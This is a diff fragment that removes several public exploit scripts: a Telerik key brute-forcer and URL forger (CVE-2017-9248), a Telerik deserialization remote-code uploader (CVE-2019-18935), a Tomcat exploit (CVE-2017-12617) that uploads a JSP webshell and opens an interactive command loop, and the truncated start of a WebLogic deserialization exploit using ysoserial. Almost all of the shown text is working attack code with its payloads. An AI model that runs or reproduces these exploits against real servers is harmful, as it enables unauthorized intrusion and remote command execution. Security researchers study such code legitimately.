str(args.accuracy) +
|
||||
"]"
|
||||
)
|
||||
print(
|
||||
"using key charset [" +
|
||||
(
|
||||
key_charset
|
||||
if unprintable is False
|
||||
else '- all ASCII -'
|
||||
) +
|
||||
"]\n"
|
||||
)
|
||||
for i in range(int(key_length)):
|
||||
pos_str = (
|
||||
str(i + 1)
|
||||
if i > 8
|
||||
else "0" + str(i + 1)
|
||||
)
|
||||
sys.stdout.write("Key position " + pos_str + ": (------")
|
||||
sys.stdout.flush()
|
||||
keychar = test_keypos(key_charset, unprintable, found, session)
|
||||
if keychar is not False:
|
||||
found = found + keychar
|
||||
sys.stdout.write(
|
||||
"\b"*7 + "{" +
|
||||
(
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '0x' + binascii.hexlify(keychar.encode()).decode()
|
||||
) +
|
||||
"} found with " +
|
||||
str(char_requests) +
|
||||
" requests, total so far: " +
|
||||
str(requests_sent) +
|
||||
"\n"
|
||||
)
|
||||
sys.stdout.flush()
|
||||
char_requests = 0
|
||||
else:
|
||||
sys.stdout.write("\b"*7 + "Not found, quitting\n")
|
||||
sys.stdout.flush()
|
||||
break
|
||||
if keychar is not False:
|
||||
print("Found key: " +
|
||||
(
|
||||
found
|
||||
if unprintable is False
|
||||
else "(hex) " + binascii.hexlify(found.encode()).decode()
|
||||
)
|
||||
)
|
||||
print("Total web requests: " + str(requests_sent))
|
||||
return found
|
||||
|
||||
|
||||
def mode_brutekey():
|
||||
session = requests.Session()
|
||||
found = get_key(session)
|
||||
|
||||
if found == '':
|
||||
return
|
||||
else:
|
||||
urls = {}
|
||||
url_path = args.url
|
||||
params = (
|
||||
'?DialogName=DocumentManager' +
|
||||
'&renderMode=2' +
|
||||
'&Skin=Default' +
|
||||
'&Title=Document%20Manager' +
|
||||
'&dpptn=' +
|
||||
'&isRtl=false' +
|
||||
'&dp='
|
||||
)
|
||||
versions = [
|
||||
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
|
||||
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
|
||||
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
|
||||
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
|
||||
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
|
||||
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
|
||||
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
|
||||
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
|
||||
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
|
||||
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
|
||||
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
|
||||
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
|
||||
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
|
||||
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
|
||||
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
|
||||
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
|
||||
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
|
||||
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
|
||||
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
|
||||
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
|
||||
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
|
||||
'2017.3.913'
|
||||
]
|
||||
|
||||
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
|
||||
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
|
||||
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
||||
plaintext3 = ';AllowMultipleSelection,False,3,False'
|
||||
|
||||
if len(args.version) > 0:
|
||||
versions = [args.version]
|
||||
|
||||
for version in versions:
|
||||
plaintext2_raw2 = version
|
||||
plaintext2 = base64.b64encode(
|
||||
(plaintext2_raw1 +
|
||||
plaintext2_raw2 +
|
||||
plaintext2_raw3
|
||||
).encode()
|
||||
).decode()
|
||||
plaintext = plaintext1 + plaintext2 + plaintext3
|
||||
plaintext = base64.b64encode(
|
||||
plaintext.encode()
|
||||
).decode()
|
||||
ciphertext = base64.b64encode(
|
||||
encrypt(
|
||||
plaintext,
|
||||
found
|
||||
).encode()
|
||||
).decode()
|
||||
full_url = url_path + params + ciphertext
|
||||
urls[version] = full_url
|
||||
|
||||
found_valid_version = False
|
||||
for version in urls:
|
||||
url = urls[version]
|
||||
request = requests.Request('GET', url)
|
||||
request = request.prepare()
|
||||
response = session.send(request, verify=False, proxies=getProxy(args.proxy))
|
||||
if response.status_code == 500:
|
||||
continue
|
||||
else:
|
||||
match = re.search(
|
||||
"(Error Message:)(.+\n*.+)(</div>)",
|
||||
response.text
|
||||
)
|
||||
if match is None:
|
||||
print(version + ": " + url)
|
||||
found_valid_version = True
|
||||
break
|
||||
|
||||
if not found_valid_version:
|
||||
print("No valid version found")
|
||||
|
||||
def mode_samples():
|
||||
print("Samples for testing decryption and encryption functions:")
|
||||
print("-d ciphertext key")
|
||||
print("-e plaintext key")
|
||||
print("")
|
||||
print("Key:")
|
||||
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
|
||||
print("")
|
||||
print("Plaintext:")
|
||||
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
|
||||
print("")
|
||||
print("Ciphertext:")
|
||||
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
|
||||
print("")
|
||||
|
||||
|
||||
def mode_b64e():
|
||||
print(base64.b64encode(args.parameter.encode()).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def mode_b64d():
|
||||
print(base64.b64decode(args.parameter.encode()).decode())
|
||||
print("")
|
||||
|
||||
sys.stderr.write(
|
||||
"\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
|
||||
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
|
||||
)
|
||||
|
||||
p = argparse.ArgumentParser()
|
||||
subparsers = p.add_subparsers()
|
||||
|
||||
decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
|
||||
decrypt_parser.set_defaults(func=mode_decrypt)
|
||||
decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
|
||||
decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
|
||||
|
||||
encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
|
||||
encrypt_parser.set_defaults(func=mode_encrypt)
|
||||
encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
|
||||
encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
|
||||
|
||||
brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
|
||||
brute_parser.set_defaults(func=mode_brutekey)
|
||||
brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
|
||||
brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
|
||||
brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
|
||||
brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
|
||||
brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
|
||||
brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
|
||||
accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
|
||||
brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
|
||||
|
||||
encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
|
||||
encode_parser.set_defaults(func=mode_b64e)
|
||||
encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
|
||||
|
||||
decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
|
||||
decode_parser.set_defaults(func=mode_b64d)
|
||||
decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
|
||||
|
||||
args = p.parse_args()
|
||||
|
||||
if len(sys.argv) > 2:
|
||||
args.func()
|
||||
@@ -1,140 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
# origin : https://github.com/noperator/CVE-2019-18935
|
||||
# INSTALL:
|
||||
# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
|
||||
# python3 -m venv env
|
||||
# source env/bin/activate
|
||||
# pip3 install -r requirements.txt
|
||||
|
||||
# Import encryption routines.
|
||||
from sys import path
|
||||
path.insert(1, 'RAU_crypto')
|
||||
from RAU_crypto import RAUCipher
|
||||
|
||||
from argparse import ArgumentParser
|
||||
from json import dumps, loads
|
||||
from os.path import basename, splitext
|
||||
from pprint import pprint
|
||||
from requests import post
|
||||
from requests.packages.urllib3 import disable_warnings
|
||||
from sys import stderr
|
||||
from time import time
|
||||
from urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
disable_warnings(category=InsecureRequestWarning)
|
||||
|
||||
def send_request(files):
|
||||
headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
|
||||
'Connection': 'close',
|
||||
'Accept-Language': 'en-US,en;q=0.5',
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Upgrade-Insecure-Requests': '1'
|
||||
}
|
||||
response = post(url, files=files, verify=False, headers=headers)
|
||||
try:
|
||||
result = loads(response.text)
|
||||
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
|
||||
pprint(result)
|
||||
except:
|
||||
print(response.text)
|
||||
|
||||
def build_raupostdata(object, type):
|
||||
return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
|
||||
|
||||
def upload():
|
||||
|
||||
# Build rauPostData.
|
||||
object = {
|
||||
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
|
||||
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
|
||||
'MaxFileSize': 0,
|
||||
'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
|
||||
'Ticks': 1440000000000,
|
||||
'Days': 0,
|
||||
'Hours': 40,
|
||||
'Minutes': 0,
|
||||
'Seconds': 0,
|
||||
'Milliseconds': 0,
|
||||
'TotalDays': 1.6666666666666666,
|
||||
'TotalHours': 40,
|
||||
'TotalMinutes': 2400,
|
||||
'TotalSeconds': 144000,
|
||||
'TotalMilliseconds': 144000000
|
||||
},
|
||||
'UseApplicationPoolImpersonation': False
|
||||
}
|
||||
type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
|
||||
raupostdata = build_raupostdata(object, type)
|
||||
|
||||
with open(filename_local, 'rb') as f:
|
||||
payload = f.read()
|
||||
|
||||
metadata = {
|
||||
'TotalChunks': 1,
|
||||
'ChunkIndex': 0,
|
||||
'TotalFileSize': 1,
|
||||
'UploadID': filename_remote # Determines remote filename on disk.
|
||||
}
|
||||
|
||||
# Build multipart form data.
|
||||
files = {
|
||||
'rauPostData': (None, raupostdata),
|
||||
'file': (filename_remote, payload, 'application/octet-stream'),
|
||||
'fileName': (None, filename_remote),
|
||||
'contentType': (None, 'application/octet-stream'),
|
||||
'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
|
||||
'metadata': (None, dumps(metadata))
|
||||
}
|
||||
|
||||
# Send request.
|
||||
print('[*] Local payload name: ', filename_local, file=stderr)
|
||||
print('[*] Destination folder: ', temp_target_folder, file=stderr)
|
||||
print('[*] Remote payload name:', filename_remote, file=stderr)
|
||||
print(file=stderr)
|
||||
send_request(files)
|
||||
|
||||
def deserialize():
|
||||
|
||||
# Build rauPostData.
|
||||
object = {
|
||||
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
|
||||
}
|
||||
type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
|
||||
raupostdata = build_raupostdata(object, type)
|
||||
|
||||
# Build multipart form data.
|
||||
files = {
|
||||
'rauPostData': (None, raupostdata), # Only need this now.
|
||||
'': '' # One extra input is required for the page to process the request.
|
||||
}
|
||||
|
||||
# Send request.
|
||||
print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
|
||||
start = time()
|
||||
send_request(files)
|
||||
end = time()
|
||||
print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
|
||||
parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
|
||||
parser.add_argument('-v', dest='ui_version', required=True, help='software version')
|
||||
parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
|
||||
parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
|
||||
parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
|
||||
parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
|
||||
args = parser.parse_args()
|
||||
|
||||
temp_target_folder = args.folder.replace('/', '\\')
|
||||
ui_version = args.ui_version
|
||||
net_version = args.net_version
|
||||
filename_local = args.payload
|
||||
filename_remote = str(time()) + splitext(basename(filename_local))[1]
|
||||
url = args.url
|
||||
|
||||
upload()
|
||||
|
||||
if not args.test_upload:
|
||||
deserialize()
|
||||
|
||||
@@ -1,239 +0,0 @@
|
||||
#!/usr/bin/python
|
||||
# From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py
|
||||
"""
|
||||
./cve-2017-12617.py [options]
|
||||
|
||||
|
||||
options:
|
||||
|
||||
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-l,--list [::] hosts list
|
||||
|
||||
|
||||
[+]usage:
|
||||
|
||||
|
||||
./cve-2017-12617.py -u http://127.0.0.1
|
||||
./cve-2017-12617.py --url http://127.0.0.1
|
||||
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||
./cve-2017-12617.py -l hotsts.txt
|
||||
./cve-2017-12617.py --list hosts.txt
|
||||
"""
|
||||
from __future__ import print_function
|
||||
from builtins import input
|
||||
from builtins import str
|
||||
from builtins import object
|
||||
import requests
|
||||
import re
|
||||
import signal
|
||||
from optparse import OptionParser
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
class bcolors(object):
|
||||
HEADER = '\033[95m'
|
||||
OKBLUE = '\033[94m'
|
||||
OKGREEN = '\033[92m'
|
||||
WARNING = '\033[93m'
|
||||
FAIL = '\033[91m'
|
||||
ENDC = '\033[0m'
|
||||
BOLD = '\033[1m'
|
||||
UNDERLINE = '\033[4m'
|
||||
|
||||
|
||||
|
||||
|
||||
banner="""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
"""
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
def signal_handler(signal, frame):
|
||||
|
||||
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
|
||||
|
||||
exit()
|
||||
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
|
||||
|
||||
|
||||
|
||||
def removetags(tags):
|
||||
remove = re.compile('<.*?>')
|
||||
txt = re.sub(remove, '\n', tags)
|
||||
return txt.replace("\n\n\n","\n")
|
||||
|
||||
|
||||
def getContent(url,f):
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
re=requests.get(str(url)+"/"+str(f), headers=headers)
|
||||
return re.content
|
||||
|
||||
def createPayload(url,f):
|
||||
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
|
||||
if req.status_code==201:
|
||||
print("File Created ..")
|
||||
|
||||
|
||||
def RCE(url,f):
|
||||
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
|
||||
<INPUT name='cmd' type=text>
|
||||
<INPUT type=submit value='Run'>
|
||||
</FORM>
|
||||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
String cmd = request.getParameter("cmd");
|
||||
String output = "";
|
||||
if(cmd != null) {
|
||||
String s = null;
|
||||
try {
|
||||
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||||
BufferedReader sI = new BufferedReader(new
|
||||
InputStreamReader(p.getInputStream()));
|
||||
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||||
} catch(IOException e) { e.printStackTrace(); }
|
||||
}
|
||||
%>
|
||||
<pre><%=output %></pre>"""
|
||||
|
||||
|
||||
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
|
||||
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
|
||||
|
||||
|
||||
|
||||
def shell(url,f):
|
||||
|
||||
while True:
|
||||
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||
cmd=input("$ ")
|
||||
payload={'cmd':cmd}
|
||||
if cmd=="q" or cmd=="Q":
|
||||
break
|
||||
|
||||
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
|
||||
re=str(re.content)
|
||||
t=removetags(re)
|
||||
print(t)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#print bcolors.HEADER+ banner+bcolors.ENDC
|
||||
|
||||
parse=OptionParser(
|
||||
|
||||
|
||||
bcolors.HEADER+"""
|
||||
|
||||
|
||||
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||
|
||||
|
||||
|
||||
|
||||
./cve-2017-12617.py [options]
|
||||
|
||||
options:
|
||||
|
||||
-u ,--url [::] check target url if it's vulnerable
|
||||
-p,--pwn [::] generate webshell and upload it
|
||||
-l,--list [::] hosts list
|
||||
|
||||
[+]usage:
|
||||
|
||||
./cve-2017-12617.py -u http://127.0.0.1
|
||||
./cve-2017-12617.py --url http://127.0.0.1
|
||||
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||
./cve-2017-12617.py -l hotsts.txt
|
||||
./cve-2017-12617.py --list hosts.txt
|
||||
|
||||
|
||||
[@intx0x80]
|
||||
|
||||
"""+bcolors.ENDC
|
||||
|
||||
)
|
||||
|
||||
|
||||
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
||||
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
|
||||
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
|
||||
|
||||
(opt,args)=parse.parse_args()
|
||||
|
||||
if opt.U==None and opt.P==None and opt.L==None:
|
||||
print(parse.usage)
|
||||
exit(0)
|
||||
|
||||
|
||||
|
||||
else:
|
||||
if opt.U!=None and opt.P==None and opt.L==None:
|
||||
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||
url=str(opt.U)
|
||||
checker="Poc.jsp"
|
||||
print(bcolors.BOLD +"Poc Filename {}".format(checker))
|
||||
createPayload(str(url)+"/",checker)
|
||||
con=getContent(str(url)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
|
||||
print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
|
||||
|
||||
else:
|
||||
print('Not Vulnerable to CVE-2017-12617 ')
|
||||
elif opt.P!=None and opt.U!=None and opt.L==None:
|
||||
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||
pwn=str(opt.P)
|
||||
url=str(opt.U)
|
||||
print("Uploading Webshell .....")
|
||||
pwn=pwn+".jsp"
|
||||
RCE(str(url)+"/",pwn)
|
||||
shell(str(url),pwn)
|
||||
elif opt.L!=None and opt.P==None and opt.U==None:
|
||||
print(bcolors.OKGREEN+banner+bcolors.ENDC)
|
||||
w=str(opt.L)
|
||||
f=open(w,"r")
|
||||
print("Scaning hosts in {}".format(w))
|
||||
checker="Poc.jsp"
|
||||
for i in f.readlines():
|
||||
i=i.strip("\n")
|
||||
createPayload(str(i)+"/",checker)
|
||||
con=getContent(str(i)+"/",checker)
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
|
||||
@@ -1,72 +0,0 @@
|
||||
#!/usr/bin/env python2
|
||||
|
||||
#Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510)
|
||||
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
|
||||
#Made with <3 by @byt3bl33d3r
|
||||
|
||||
from __future__ import print_function
|
||||
import socket
|
||||
import struct
|
||||
import argparse
|
||||
import os
|
||||
import sys
|
||||
from subprocess import check_output
|
||||
|
||||
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
|
||||
ysoserial_path = None
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument('target', type=str, help='Target IP:PORT')
|
||||
parser.add_argument('command', type=str, help='Command to run on target')
|
||||
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if not args.ysoserial_path:
|
||||
for path in ysoserial_default_paths:
|
||||
if os.path.exists(path):
|
||||
ysoserial_path = path
|
||||
else:
|
||||
if os.path.exists(args.ysoserial_path):
|
||||
ysoserial_path = args.ysoserial_path
|
||||
|
||||
if len(args.target.split(':')) != 2:
|
||||
print('[-] Target must be in format IP:PORT')
|
||||
sys.exit(1)
|
||||
|
||||
if not args.command:
|
||||
print('[-] You must specify a command to run')
|
||||
sys.exit(1)
|
||||
|
||||
ip, port = args.target.split(':')
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
print('[*] Target IP: {}'.format(ip))
|
||||
print('[*] Target PORT: {}'.format(port))
|
||||
|
||||
sock.connect((ip, int(port)))
|
||||
|
||||
# Send headers
|
||||
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
|
||||
print('[*] Sending header')
|
||||
sock.sendall(headers)
|
||||
|
||||
data = sock.recv(1024)
|
||||
print('[*] Received: "{}"'.format(data))
|
||||
|
||||
payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
|
||||
|
||||
